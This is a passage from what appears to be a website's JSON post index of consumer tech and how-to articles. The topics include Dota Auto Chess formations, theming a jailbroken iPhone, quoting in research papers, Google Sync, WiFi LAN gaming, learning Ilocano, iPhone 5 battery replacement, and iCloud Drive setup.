last row but leave the hole in the next row to be immediately targeted by Assassins. So put the chess pieces that have the most resistance to buffaloes to the defensive corner near the enemy.\n2. Mid-game period A. AOE skills and how to arrange AOE formations   In the middle of the game, you only need to focus on the generals using the most effective AOE skills, ignoring tank champions and dealing damage. You just need to keep the important pieces in the middle of the board, then let the tank champion on either side of the board. Tanker will pull the enemy team's AOE skills off course, if you're lucky.\n  And the second way you can divide your team into two different groups, however, each group needs to have 2 heroes that have good damage and 2 pieces that have good resistance. If the two groups have a weaker group, this will be your big problem.\nBecause if one party is poorly resistant, it may have been destroyed before the opponent's AOE skill, then all the enemy's skills will be for the other group.\nIf possible, let the pieces use the AOE skill as soon as possible, the pieces like Lycan, Lone Druid, Tidehunter, Disruptor, and Kunkka all need to use the skill as soon as possible. Another thing is that you must avoid being killed too early before using the skill.\nThat means you need to make these pieces have good resistance, if the above-mentioned generals have a level of 2 stars, there is no debate about their resistance, but if it is 1 star, you should put them after the resisting generals so that you don't have to take direct damage.\nOr put in the first row but there must be two tank generals on both sides to resist. It may still be noticeable but still not excessive to avoid being killed too quickly.\nB. Use formations to counter enemy attacks   The effective countermeasures are to observe the opponent's formation and arrange their chess pieces to achieve the best effect. You can place the main damage pieces away from Tidehunter, Techies and Disruptor, just by looking at the opponent's board you can know and arrange.\nOr leave some units in a single position to lure the enemy to use AOE indiscriminately, if the squad is stuck with AOE skills in about 1/3 of the army is ideal. If the opponent uses the Assassin chess piece, you should place the anti-chess pieces next to the chess pieces that cause the main damage to protect.\nThere are a few tips to arrange the Dota squad Chess Auto in each stage of the game, based on the above instructions, you can arrange the formation appropriately when referring to your opponent's lineup.\nncG1vNJzZmismaXArq3KnmWcp51ksbDAwGaYrqyfYrCpsdKsZKGnp2LBsHnBrqClnF2psqK50maYnJufp7GqusZmq6hllZawqXnSrZignV2ks27Ax55kpqejqXqmssWemq2hppp6rq3TnJ8%3D\n","link":"/post/how-to-build-teams-according-to-each-stage-of-the-most-effective-match/","section":"post","tags":null,"title":"How to build teams according to each stage of the most effective match"},{"body":"Galaxy S9 uses Samsung Experience 9.0 interface with new icons, support game icons like PUBG Mobile, Fortnite, . And users can completely bring this interface to jailbroken iPhone, installing version iOS 11 and above. The following article will guide you how to install Galaxy S9 interface on iPhone.\nHow to bring horizontal interface on Galaxy S9 on every Android device without root Instructions to change iOS interface without jailbreak How to customize Facebook and Google interface with Stylish utility Instructions to install Galaxy S9 interface on iPhone Step 1:\nFirst, users access Cydia and select the search tab and enter the keyword Anemone . This is a tweak that supports changing the iOS interface with pre-designed theme packs. Or users can directly access the link below.\n http://cydia.saurik.com/package/com.anemonetheming.anemone/    Next in the Source tab add source https://peterprd.github.io/nightly/ and then search for IOSamsung tweaking to install.\n  Step 2:\nGo back to the main screen to tweak Anemone and then activate the tweak. Users also then click Enable to activate the downloaded IOSamsung interface.\n  Then click the Preview button to preview how the Galaxy S9 interface is applied on the iPhone.\n  Finally click Apply to save the new interface. To return to the default iPhone interface, users only need to access Anemone and then click Disable. Also click Preview and click Apply to save the changes.\n  See more:\nTurn iPhone screen into black and white How to change the respring interface on iPhone How to hide iPhone lock screen content I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmnpqkka3Gbr%2BYZqCnrJWns6KvxGamp2WZpbWwusQ%3D\n","link":"/post/how-to-install-galaxy-s9-interface-on-iphone/","section":"post","tags":null,"title":"How to install Galaxy S9 interface on iPhone"},{"body":" A research paper can be made stronger through the use of quotations. You may use quotes when you need to cite a key piece of primary source material, strengthen your argument through another writer's work, or highlight a term of art. It is...\nQuote Help  Sample Short Quotes  Sample Modified Quotes  Sample Block Quotes Method 1of 4:\nUsing Different Types of Quotes  Understand how to use dropped quotes. Dropped quotes are partial phrases taken from the middle of a piece of text. Dropped quotes are comprised of only a few words and give no information about the speaker. These must always be introduced within a sentence, and cannot comprise a complete sentence on their own. Use a complete sentence to incorporate a dropped quote. Ex: As Rembrandt's skill developed, he began painting landscapes that are 'romantic and visionary' (Wallace 96). Use a short phrase to incorporate a dropped quote: Rembrandt's landscapes are 'romantic and visionary' (Wallace 96).   Understand how to use full sentence quotes. As the name implies, full sentence quotes are created by quoting complete sentences that take up less than 4 lines. Although these are complete sentences, they cannot be used as stand-alone sentences in your paper. Introduce them with an additional complete sentence or a signal phrase. Use a complete sentence to introduce a full sentence quote. Ex: Over the course of time Rembrandt's work began to change and focus on different themes, but as Wallace points out: \"Rembrandt's great gift as an etcher lay in preserving a sense of spontaneity while scrupulously attending to close detail' (142). Use a signal phrase to introduce your full sentence quote. Ex: As Wallace states, 'Rembrandt's great gift as an etcher lay in preserving a sense of spontaneity while scrupulously attending to close detail' (142).   Understand how to use block quotes. Block quotes are multiple sentences quoted directly from a source which take up more than 4 lines in your paper, or no more than 3 if you are quoting verse.[1] Because these take up a lot of physical space, they should be used sparingly with a maximum of 1-2 for a complete paper. Incorporate a block quote by adding a complete line space between your own content and the quote, and offsetting it by indenting the entire quote to the right a single time. Introduce your block quote with a colon. Ex: According to Wallace: (add a line break here, and then indent the entire quote). Block quotes do not use quotation marks. You have already stated who the author is/what is being referred to in the introduction sentence. Add the in-text parenthetical citation after the period at the end of the quote, though. If your block quote is inside a paragraph, you don't have to start a new paragraph at the end of it. Simply add another line break and begin writing along the left margin (with no indent).[2] However, you will need to indent the second paragraph by an extra 0.25\u0026nbsp;in (0.64\u0026nbsp;cm) if you are citing more than 1 paragraph.[3]   Understand how to use indirect quotes. Indirect quoting, or paraphrasing, is when you use a sentence from a source but change the wording slightly into your own words. This is useful when you cannot meet rubric requirements by quoting, or if you've quoted too much. Be careful to avoid plagiarism though by changing at least 50% of the sentence. Change the structure of the sentence by moving clauses around. Aim to change at least half of the sentence into a new structure, but also make sure that the grammar is correct and the meaning of the sentence is still clear. You can use a thesaurus to exchange words with synonyms. Paraphrasing should only be done if you are certain that you understand the content you are copying. If you are unclear as to the meaning of the quote, you won't be able to put it adequately into your own words. When you write your paraphrase, don't look at the quote. Keep the meaning in your head and create a new sentence to match.[4]  Method 2of 4:\nFormatting Your Quotes  Know where to place commas and periods. When you're placing a quote inside your essay, you'll likely have to use a comma or period at the end. If you're quoting without giving a citation (because your entire essay is about a single work, for example) commas and periods go inside the quotations marks. If you've included a parenthetical citation, the comma or period goes outside the quotation marks after the citation. To use a comma, you might structure the quote with in sentence like this: 'Yogurt provides beneficial bacteria to your gut,' so it is good to include 1 serving per day in your diet. To use a period, you might structure the quote like this: 'Carrots are a valuable source of vitamin A.'   Know where to place exclamation points and question marks. If there is an exclamation point or question mark inside the quote you are using, keep it inside the quotation marks. If you're asking a question or exclaiming the importance of a quote, add the punctuation outside of the quotation marks. If you are asking a question about a quoted question, use a single question mark inside the quotations. Example of a quotation that comes with a question mark: Alice said 'but where will I go?' (24). Example of asking a question about a quotation: With so much contention, will literary scholars ever agree on 'the dream-like quality of Alice's adventure' (39)? Example of a question about a quoted question: At this point in the story, readers communally ask 'but where will I go?' (24).   Use ellipses correctly. When you use the majority of, but not all of a quote, or if you begin in the middle of a quote, it is necessary to insert ellipses. These show that some of the sentence is not included in your quote. Use '...' to show that a part of the quote before or after your selection has been excluded. Ellipses can be used in the center of a quote to leave out words that you feel add unnecessary length to the statement without adding value. For example: As the man stated, 'reading the book was...enlightening and life-changing.' This is done rather than: As the man stated, 'reading the book over the last few weeks was not only incredibly enjoyable, but also enlightening and life-changing.' Ellipses should be used only before or after a quote, not both. If you are only use a part of a quote from the center of a selection, it is just a partial or dropped quote. However, keep in mind that ellipses rarely come at the beginning of a quotation.[5]   Use brackets correctly. The opposite of ellipses (used to leave something out), brackets are inserted into a quote to add information that you deem important/necessary but which is not included in the quote itself. You can include brackets in a quote to give a few words, typically the name of a person or place that the quote is focusing on, to help the reader understand the context. For example: As scholars have noted, 'Rembrandt's portrait of her [Henrickje, his mistress] was both accurate and emotion-filled' (Wallace 49).   Use colons and semicolons correctly. If you are using a colon or semicolon after a quote, or there is a colon or semicolon at the end of your selection which you are quoting, place the punctuation mark outside of the quotation marks.[6]\n  Copy the quote exactly. If you are using a direct quote, it is imperative that you copy it word-for-word. Include all spelling and grammatical mistakes as well, even if you are aware they are incorrect. If your quote has a mistake that you are aware of, put [sic] (italicized and in brackets) immediately after the mistake. This signifies that you are aware that there is a mistake in the quote, and that it is not a mistake on your part. Ex: As Dormer has noted, 'his work is much more valuable now then [sic] it was at the time of its creation.'  Method 3of 4:\nQuoting in Different Styles  Quote in MLA format. When citing in MLA format, your in-text citation should include the author's name and the page number that the information is from. You can include these together in a parenthetical citation, or you can mention one in your writing and the other in a parenthetical citation. Ex: We can therefore ascertain that 'Rembrandt's decline in popularity may have been his dedication to Biblical painting' (Wallace 112). Ex: According to some, 'another reason for Rembrandt's decline in popularity may have been his dedication to Biblical painting' (Wallace 112), but not everyone agree on this matter. Ex: Wallace states that 'another reason for Rembrandt's decline in popularity may have been his dedication to Biblical painting' (112).[7]   Quote in APA format. Slightly different than MLA format, APA requires an in-text parenthetical citation with the author's last name and the year the text was published. They must be included together in the parentheses, or you can mention the name of the author in your writing and put just the year in parentheses afterwards.[8] Ex: As Billy's character is described, we learn 'Billy wasn't a Catholic, even though he grew up with a ghastly crucifix on his wall' (Vonnegut 1969). Ex: Vonnegut gives a factual statement with a clear opinion thrown in when he says 'Billy wasn't a Catholic, even though he grew up with a ghastly crucifix on his wall' (1969). Ex: With the knowledge that 'Billy wasn't a Catholic, even though he grew up with a ghastly crucifix on his wall' (Vonnegut 1969), we begin to understand his philosophical standings.   Quote in Chicago style. The Chicago style of formatting research essays uses footnotes at the bottom of your page rather than in-text parenthetical citations. In order to cite a quotation in your paper, add a footnote number immediately after the ending quotation mark (not inside the quotes). This should be paired with a matching citation at the bottom of the page.[9]\n Method 4of 4:\nQuoting Successfully  Choose the quotations you want to use in the paper with care. Overuse of quotations is considered sloppy in academic writing because it relies too heavily on others to make your point. Show not only that can you write, but that you can also judiciously sift through large amounts of research to glean the most important quotes that will support your argument.\n  Avoid summarizing. If you're quoting something directly, it should be done because you have valuable insights based on that particular phrase or set of information. Quotes should not be used as filler, followed by a long summary or paraphrase of what you copied. Make sure that when you discuss the quote, you aren't simply repeating what the text says in different words.[10]\n  Use quotes to highlight a specific phrase. Often times in academic writing, a very specific phrase or term may be used and described by an empirical source. If there is no way for your to better explain or reword this phrase, use a quotation. When possible, try to paraphrase or use an indirect quote to avoid seeming lazy with your writing.\n  Quote important evidence. Quotations can be particularly helpful for an argumentative or study-based research paper, as you can use them to provide direct evidence for an important point you are making. Add oomph to your position by quoting someone who also backs it, with good reason. Be sure to elaborate on their point after quoting though, rather than just dropping it into your essay without further discussion.\n  Be clear when using quotes. Although helpful at times, quotes that have not been clearly attributed can be confusing and out of place. Make sure your quote is given context before stating it. Although you should have a citation involved as well, it is important to make it clear to the reader that the ideas you are presenting are those of someone else.\n  Include bibliographic information at the end of the paper. A \"Works Cited\" page, or other bibliographic source page, is used at the end of the paper to list full publishing information on each quoted source.\n  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqmlpMGmecinZJploprApq3RnJ9mqJGlsrM%3D\n","link":"/post/how-to-quote-in-a-research-paper/","section":"post","tags":null,"title":"How to Quote in a Research Paper"},{"body":"Installing Google Sync on iPhone or iPad is almost identical to Exchange. You only need to have a paid Google account and follow the following settings.\nHow to set up iCloud email, contacts and calendar on iPhone or iPad How to set up Gmail, Google Calendar and Google Contacts on iPhone or iPad Step 1: Launch the Settings app from the main screen.\nStep 2 : Select Calendar .\nStep 3: Touch Accounts .\nStep 4: Touch Add Account .\n  Step 5: Touch Exchange .\nStep 6: Enter your email and password for your Gmail account or Google account (the description field will automatically update as an email address).\nStep 7: Click Next .\n  Step 8: Enter m.google.com as Server .\nStep 9: Leave the Domain field blank.\nStep 10: Enter your full Gmail email address or Google account as your username.\nStep 11: Click Next .\n  Step 12: Touch the sliders next to the account of each service you want to sync with your iPhone or iPad. If there are calendars, contacts, or messages on iPhone, a message will appear asking you to keep or delete them. Touch the option you want.\nStep 13: Touch Save .\n  So Gmail Calendar and other Google services will be synchronized with the iPhone app, so any current or new events made in your Google account or on the iPhone will be displayed and updated at both.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIygpqifnJp6tMXNnGSopl2evam7zZ5kqKpdnr2isA%3D%3D\n","link":"/post/how-to-set-up-google-sync-on-iphone-or-ipad/","section":"post","tags":null,"title":"How to set up Google Sync on iPhone or iPad"},{"body":"Are you stuck in the house but want to play video games with friends? If everyone lives near each other, such as in the same building, you can do this using WiFi.\nWireless networking is ideal when you don't have the time, power, or ability to route Ethernet cables. All you need is a wireless network, game software and friends to play with.\nThis is how to play LAN games with WiFi so that your friends and neighbors can join.\nDo you want to play LAN games over WiFi? It doesn't matter if you want to play fast-paced shooters like Doom 3 or Quake Arena, or something smarter like Civilization 6. If you want to play multiplayer games with a specific group of friends, then They need access to the game server.\nThe game server can be a server rented on the Internet or a computer on the network. If it's an online computer, your multiplayer group needs to be able to access that computer.\nBringing a computer to your place to join is an option, but what if one or more of you can't get out of the house, or someone's home has an Internet speed that's not suitable for gaming?\nWhatever the reason, connecting to the local network using a dedicated wireless connection is better than playing online.\nWireless network configuration for guests If the game server is connected to the router, you are ready to configure the wireless network. However, this is not simply that everyone connects to the router with a password. First, you'll need to create a guest network, then make sure the router is in the optimal position.\n Remember that this has nothing to do with your Internet connection, so this will be a completely separate network.\nThe smartest way to do this is to create a secondary guest network. Doing so will ensure that anyone you are provided with the password will not be able to gain unauthorized access. Instead of creating a backdoor for the network, create a separate network for guests.\nNot all routers support the second network, so take some time to check the documentation that comes with the device. If the router can run a parallel wireless network, you should use the 2.4Ghz option. Although slower than 5Ghz, but 2.4Ghz has a larger range, ideal for people in neighboring apartments.\nSet a recognizable name as the network SSID, along with WPA2 security level. Before you start playing, remember to share this guest network password with your friends.\nFind the optimal location for the router Location will determine the success of others when accessing the network.\nFirst, find the center point between all houses or apartments. You need a central point for all machines to get the best wireless signal possible. Put the wireless router in that central position. Point out any antennas on the router in different directions and away from walls or other obstructions.\nAfter setting up the wireless router, start the PCs that will connect to the wireless LAN to play games. Scan wireless networks to check signal strength (having more than 3 bars would be ideal).\n Weak WiFi signal? Here is the way to enhance it With the router in the best position for all players, the signal may still be weak.\nThere are many different ways to increase WiFi signal, but perhaps the best solution is to use WiFi booster (you may need one or more of these devices).\nThe goal here is for people to play at the same basic speed, say 100 Mbps, instead of some players struggling at 50 Mbps, while others can play at up to 300 Mbps. At the same basic speed, network latency can be handled, giving all gamers a level playing field.\nHowever, keep in mind that older computers will be more difficult. Those players may need to upgrade their PC hardware.\nFind great LAN games to play online There are some games that support multiple players, over the Internet or on a local network. When creating a local wireless network for your friends and neighbors, you'll need to know where to find the right games.\nThere are some games that support multiple players, over the Internet or on a local network You need a game server, whatever it is, from a PC running server software to a game server that can run on the modest Raspberry Pi.\nIf you're looking for something else, try this LAN Party Games list:\nhttps://store.steampowered.com/curator/6859938-LAN-Party-Games/ Stay in touch with other players Playing multiplayer games is fun, but without a voice chat system, it's like playing alone.\nVarious voice chat systems are available, the most popular being Discord. Discord can be installed on Android and iOS, as well as on PC. In addition, you can install Steam Chat, a voice chat tool on mobile devices, for Steam gamers.\nOf course, if all the gamers are near each other, you can leave the window open and shout loudly. The conversation will help increase the attraction when playing.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIywoJ%2BhXaOytcPOq6JmrJ9iva2t2GajmqZdnK6usdI%3D\n","link":"/post/how-to-set-up-wifi-network-to-play-lan-games/","section":"post","tags":null,"title":"How to set up WiFi network to play LAN games"},{"body":"Ilocano is a native language of the Philippines, spoken primarily in northern Luzon and is an official provincial language of La Union. With 9.1 million native speakers, Ilocano is the 3rd most spoken native language in the Philippines....\nMethod 1of 3:\nPronouncing Ilocano Words Start with Ilocano vowel sounds. [2] The letter \"a\" makes an \"ah\" sound, similar to the \"a\" in the English word \"father.\" The letter \"e\" makes an \"eh\" sound, similar to the \"e\" in the English word \"bed.\" The letter \"i\" makes an \"ee\" sound, similar to the \"ee\" in the English word \"beet.\" The letter \"o\" makes an \"au\" sound, similar to the \"au\" in the English word \"author.\" The letter \"u\" makes an \"oo\" sound, similar to the \"oo\" in the English word \"boot.\" Tip: The letters \"w\" and \"y\" are sometimes vowels, but only when combined with one of the 5 regular vowels in a diphthong.\n Combine vowel sounds together to form diphthongs. When two vowels together in a word create a different sound than the vowels would make individually, they create a diphthong. Ilocano has 6 diphthongs:[3] The diphthong \"aw\" sounds similar to the \"au\" sound in the English word \"slaughter.\" The diphthong \"ay\" sounds similar to the \"ay\" sound in the English word \"bay.\" The diphthong \"ey\" sounds similar to the \"ei\" sound in the English word \"seize.\" The diphthong \"iw\" sounds similar to the \"ieu\" sound in the English pronunciation of the French word \"lieu.\" The diphthong \"oy\" sounds similar to the \"oy\" sound in the English word \"boy.\" The diphthong \"uy\" sounds similar to the \"oy\" sound in the English word \"boy.\"  Pronounce most consonants the same as in English. Since most consonants in Ilocano make the same sound as they would in English, you don't have to worry about practicing these letters if you speak English. However, a couple of letters that make sounds that might be unfamiliar for English speakers.[4] The letter \"ng\" is considered a separate consonant in English. It sounds similar to the \"ng\" in the English word \"sing.\" However, it can also appear at the beginning of a word, which can cause trouble for English speakers. The letter \"r\" is trilled, similar to the Spanish \"r.\" Ilocano also has the \"-\" character, which represents a \"glottal stop.\" This sound is made when you rapidly close your vocal cords with a short exhale. If you speak English, think of the sound in the middle of the phrase \"uh-oh!\" The letters \"j,\" \"g,\" and \"r\" only appear in words of Spanish origin, and are pronounced in Ilocano the same way you would pronounce them in Spanish.[5] Tip: The letters \"x\" and \"v\" only appear in proper nouns and some words of Spanish or English origin. Where they appear, they make the same sound as they would in the origin language.\n Change the pronunciation of some consonants that are followed by an \"i.\" When the vowel \"i\" follows the consonants \"d,\" \"s,\" or \"t\" and is followed by another vowel, it acts as a consonant, creating a consonant blend. The resulting blends make the following sounds:[6] The blend \"di\" sounds similar to the \"j\" in the English word \"jig.\" The blend \"si\" sounds similar to the \"sh\" in the English word \"sheep.\" The blend \"ti\" sounds similar to the \"ch\" in the English word \"church.\"  Listen to native speakers to determine where to place the stress. In Ilocano words, the syllable that is stressed is relatively unpredictable. The easiest way to learn how to pronounce words correctly is to pay attention to where a native speaker places the stress. However, there are a few patterns that can also help you.[7] In most words, the primary stress falls on either the last or next-to-last syllable. If the next-to-last syllable ends with a consonant, the stress falls on the last syllable. The only exception is if the next-to-last syllable ends with \"ng\" and the last consonant starts with a \"k,\" as in the word \"bibingka.\" There, the stress falls on the next-to-last syllable. In Ilocano words that are derived from other languages, the stress is the same as it is in the language of origin. Most of these are Spanish-origin words, but some also come from English.  Method 2of 3:\nBuilding Your Vocabulary Start with words derived from Spanish. There are many basic words in Ilocano that are derived from Spanish words. If you already speak Spanish, you already have a pretty extensive Ilocano vocabulary. Although these words are spelled differently in Ilocano than they are in Spanish, they are pronounced the same. Words imported from Spanish include:[8] Days of the week Months of the year Units of time Numbers Tip: Ilocano includes 2 systems for units of time and numbers. One is derived from the Spanish, while the other is native. Speakers of Ilocano will generally understand you if you use either system.\n Identify parts of a house in Ilocano. Rooms and parts of a house are things you'll likely talk about often if you're having conversations in Ilocano. They're also easy to learn. Make sticky notes with the words and place them around your own house to drill yourself on what the words mean.[9] Balay: house Kuwarto: room Salas: living room Panganan: dining room Kusina: kitchen Banyo: bathroom Bubungan: ceiling Diding: wall Ridaw: door Tawa: window Tip: Once you've learned rooms and basic parts of the house, you can continue with labeling other things, such as pieces of furniture or items of clothing.\n Learn names for members of your family. Family is important in Ilocano culture. If you start talking to native speakers, you'll likely find that they often ask you questions about your family. Some Ilocano words for members of your family are:[10] Ading: younger sibling Ama: father Mare: mother Apong: grandparent Apong baket: grandmother Apong lakay: grandfather Baket: wife Lakay: husband Tata: uncle Tita: aunt  Pick up some words that describe weather conditions. As an island nation, weather conditions can become incredibly important in the Philippines and are often a major topic of conversation. Weather words you might want to learn include:[11] Naulep: cloudy Arbis: drizzling rain Tudo: rain Angin: wind Bagyo: typhoon Gurruod: thunder Kimat: lightning Nasayaat nga tiempo: sunny/good weather  Practice basic question words. Question words are important if you want to start conversing in Ilocano. Knowing the basic question words will help you start a question you want to ask or know how to answer a question someone asks you. Basic question words in Ilocano include:[12] Asino: who Ania: what Kaano: when Ayan: where Apay: why Kasano: how Manu: how much/how many  Method 3of 3:\nHaving a Basic Conversation Use \"komusta\" to say hello. There isn't a specific word in Ilocano that is generally used as a greeting. Instead, people commonly use \"komusta,\" which technically means \"How are you?\"[13] If you're familiar with Spanish, note the similarity between \"komusta\" and \"como estas.\"  Vary your greeting according to the time of day. While there's no word in Ilocano that directly translates to \"hello,\" there are separate greetings you might use depending on the time of day when you're greeting someone. These greetings can also be used to end a conversation when you're parting ways. Time of day greetings include:[14] Naimbag a bigat: good morning Naimbag a malem: good afternoon Naimbag a sardam: good evening  Say \"Ti naganko ket\" followed by your name to introduce yourself. If you want to keep talking to someone after you've greeted them, use \"ti naganko ket\" to tell them your name. You can also say your name first, followed by \"ti naganko.\"[15] To ask the other person their name, say \"Ania ti naganmo?\" When the other person tells you their name, you might say \"naragsakak a maamammoka,\" which means \"pleased to meet you.\"  Get help if you don't understand what the person is saying. As you continue talking to a native speaker, you might find that you don't understand what they're saying, even if you've been studying Ilocano for awhile. If you can't follow what the person is saying, you might say:[16] Diak maawatan: I don't understand Ulitemman ti imbagam: Please say that again Ibaybayagmo man ti agsarita: Please speak more slowly Isuratmo man: Please write it down  Include polite words and phrases to show respect. Native speakers will be far more patient with you as you're learning the language if you're polite in how you speak and respond to them. Polite words and phrases to add to your conversations include:[17] Maawan-dayawen: Excuse me Agpakawanak: Sorry Agyamanak: Thank you Awan mania man: You're welcome (reply to \"thank you\") Pangaasim man: Please[18] Tip: To show respect to someone older than you, refer to them as \"manang\" (female) or \"manong\" (male). These words literally refer to an older sibling or relative, but are also used similarly to \"ma'am\" and \"sir\" in English.[19]\n  Marvin Fry Update 31 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugmq6secilppyZnqQ%3D\n","link":"/post/how-to-speak-ilocano/","section":"post","tags":null,"title":"How to Speak Ilocano"},{"body":"The work of replacing 'energy source' for iPhone 5 is not as difficult as you think, simply follow the instructions in the article.\nUsually when the ' love ' phone suddenly gets 'sneezed, runny nose ', surely Vietnamese users will most likely bring to the repair shop or warranty center. But if you are a person who already has an iPhone 5, a technology enthusiast, likes to explore, or wants to \" get away \" with his girlfriend ( or someone who fixes the iPhone ) when their phone has problems. battery, then you can refer to how to do it below:\n  First remove 2 screws on the bottom edge of the machine.\n  The screen of iPhone 5 allows for easy disassembly.\n  Remove the fixed screws on the back of the machine.\n  Lift the connectors from the battery and the main unit.\n    The iPhone 5 battery uses 3.8 V voltage, 5.45 Wh and 1440 mAh.\nThe video details how to remove the device, replace the battery for iPhone 5.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaqlaW5oq%2FIp55mmpGpwaa%2ByJ6qZp6fp3qqvMeopZ5lZQ%3D%3D\n","link":"/post/instructions-for-replacing-batteries-for-iphone-5/","section":"post","tags":null,"title":"Instructions for replacing batteries for iPhone 5"},{"body":"The two L430 and L530 models were rumored to use up to 11.5 hours, using the ThinkPad T430u AccuType keyboard and may be released in June.\n  The L430 / L530 is rumored to have more than 11.5 hours of battery life. (Photo: Notebookcheck) .\nLenovo could launch a new L Series laptop, including two 14-inch L430 and 15.6-inch L530 models. Some sources said that laptops with the Lx30 series will use Ivy Bridge processors with longer battery life than the current 11.5-hour models of the current Sandy Bridge chips. Two models, the L430 and L530, are rumored to be on sale in the L420 and L520.\nCurrently, the product configuration of L430 / L530 is still unknown. According to Notebookcheck , the L530 model can use an AccuType keyboard similar to its ThinkPad T430u ultrabook. In addition, machining materials for Lenovo's new laptop are environmentally friendly and recyclable. The new L Series laptops can be marketed in June for $ 600-700.\nncG1vNJzZmismaXArq3KnmWcp51kuaa6zq%2BmZqGjYq6ju9StZK2nXZ2ut7GMmqVmpF2osrO1xKxkpZmgqbyxedSsoKefXZ7DunnBq6Cdn5VisKm1z6w%3D\n","link":"/post/lenovo-is-about-to-have-an-l-series-laptop-using-ivy-bridge-chips/","section":"post","tags":null,"title":"Lenovo is about to have an L series laptop using Ivy Bridge chips"},{"body":"  The new Notepad fits surprisingly well with Windows 11's image refresh feature. It has rounded corners and a new look.\nIn addition, Notepad also has a dark mode. According to Microsoft, this is one of the top feature requests it's received over the years.\nDark mode can be turned on manually or simply let Notepad align based on system settings. In other words when Windows 11 uses dark mode, Notepad also switches to the same mode.\nMicrosoft has also introduced a new find and replace experience, and Notepad now has a multiple undo feature as well. This is also a feature request that is mentioned by many users.\nNew Notepad has more exciting improvements\n But of course, Microsoft does not want to stop here and in the latest announcement, the company said there will be many other improvements to support Windows 11 users in the near future.\nMicrosoft shares: \"Productivity, performance, and reliability are paramount in Notepad. No matter how you incorporate Notepad into your workflow, we'll make sure Notepad continues to excel. In those areas. In the preview we're releasing today, there are several issues that we'll be addressing in future updates.\"\n  The company also mentions some issues related to entering text in different languages, and in certain cases, errors can occur when using Shift + clicking to select text or when scrolling. In addition, Microsoft is continuing to improve performance when opening large content files.\nIt is not clear when Microsoft will officially launch the new version of Notepad for Windows 11 users.\nwindows 11 notepad ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYravwNGom66blah6onnNnq5mrpWnwKq7zWamn2WepMGmvMCdZJ%2BnomLEqrrDqK6sZWFmeri106FkmmWUlr%2BsecGamqSfoqTCr7CMraZmoJWhvW6%2BxJ2snJ1dmsamedKtqZqhng%3D%3D\n","link":"/post/microsoft-introduces-a-new-version-of-notepad-for-windows-11-with-a-dark-background-to-help-reduce-eye-strain/","section":"post","tags":null,"title":"Microsoft introduces a new version of Notepad for Windows 11, with a dark background to help reduce eye strain"},{"body":"It seems the more modern the phones are, the more eye-catching it is the more difficult it is to repair and upgrade the hardware. This is especially true of the newly launched Motorola RAZR folding screen smartphone, because this hit product only received a score of 1 out of 10 on the repair ability by the iFixit team.\n  With such a 'drop in' score, the flexibility in assembling and upgrading Motorola RAZR components is almost nonexistent. A few key comments of iFixit experts on Motorola RAZR are as follows:\nAdvantages\nScreen is replaceable. Only one screwdriver is needed for the entire removal process. Defect\nThe process of assembling and removing the chassis frame is extremely difficult, requiring a lot of meticulousness because the manufacturer uses too much glue. Replacing the battery requires dismantling almost the entire device. The charging port is soldered directly to the main board. Complex structure makes repair work difficult. The 'modularization' is not high. iFixit also noted that this was one of the most complex 'abdominal operations' products they had ever faced, and a score of 1/10 correctly assessed this claim. Along with the iPhone 11 Pro Max (score 6), Surface Laptop (5 points) and Galaxy Fold (2 points) . Motorola RAZR is one of the most difficult mobile electronic devices to repair at the present time.\nOf course, not everyone has a need to 'scratch', but giving consumers - who have paid to have full control over the product - the ability to intervene more deeply into hardware structure and Especially, being able to fix when the product has a problem is what technology manufacturers should pay more attention to.\nLeaving aside the difficulties in repairing, Motorola RAZR is still one of the most unique and experienced smartphones today. With a compact, luxurious design and a 'legendary' clamshell style, Motorola RAZR and Samsung Galaxy Z Flip promise to bring a new breeze to the smartphone world in the near future.\nncG1vNJzZmismaXArq3KnmWcp51kurDAzqumpZldp667voysmqiqlah6onnCpZyapqWlerSvzqucZqeeYrantdeiq2aqlaWuqr6MoqWdnag%3D\n","link":"/post/motorola-razr-scores-a-cleanup-score-on-ifixit-repair-index/","section":"post","tags":null,"title":"Motorola RAZR scores a 'cleanup' score on iFixit repair index"},{"body":"With both iOS 8 and Mac OS X 10.10 Yosemite, Apple has improved and changed iCloud Drive completely different from the old version. If you do not know how to set up this new feature, see how to do it below.\nAs we know, before iCloud Drive, iOS users only use iCloud storage service from Apple to back up data on the device. But with the arrival of Mac OS X 10.10 Yosemite, iOS 8 and iCloud Drive users will get more appropriate cloud storage service, integrate more deeply into the system with the same way as Dropbox or Google Drive Processing. Allows users to store and access their data from any Apple device or via iCloud Drive for Windows application.\nPrice Apple provides users with a limit of 5GB of storage for iCloud Drive account for free and offers 4 paid options with a maximum capacity of up to 1TB for $ 19.99 a month.\n  iCloud Drive on Mac OS On Mac computers, setting up for iCloud Drive is relatively easy. During the installation of Yosemite, you will be asked if you want to upgrade to iCloud Drive. If you agree to upgrade, after installing and opening the Finder, you will see iCloud Drive listed in Sidebar on the left.\nIf iCloud Drive is not enabled during Yosemite installation, after installing it can activate this feature by going to System Preferences\u0026gt; iCloud and clicking on iCloud Drive option at the top of the list.\n  When you first open iCloud Drive in the Finder, you will see the main interface does not have any data. To store data, you just need to drag and drop files and folders into the empty pane on the right. In addition, users can create new folders to categorize and manage data by right-clicking in the iCloud Drive window.\n  iCloud Drive is now integrated into Apple's iWork application. Therefore, when saving a document in Pages or a presentation in Keynote , iCloud Drive will be listed as one of the locations to save data. When first saving a file from the iWork application, a corresponding folder will also be created automatically in iCloud Drive.\n  iCloud Drive on iOS On iOS, the setup will be a little different because there is no standalone iCloud Drive app for users to see all the files and folders stored in Apple's cloud. Instead, iCloud Drive is hidden in third-party applications and Apple applications. For example, in the Pages app in addition to the list of documents stored on the device, there are also documents stored on iCloud Drive.\n  Before you can use iCloud Drive in an application, you must activate iCloud Drive via the Settings menu on iOS device by: Accessing Settings\u0026gt; iCloud and then clicking iCloud Drive . Next, click the convert button to activate iCloud Drive. Just below you will also see a list of apps that can work with iCloud Drive.\n  To move a document you created via iWork application on iPhone or iPad to iCloud Drive, just click the Share button in the upper right corner, select Send a copy and then select a format.\nNext, click the Send to button and you will see the folders, representing the applications that iCloud Drive 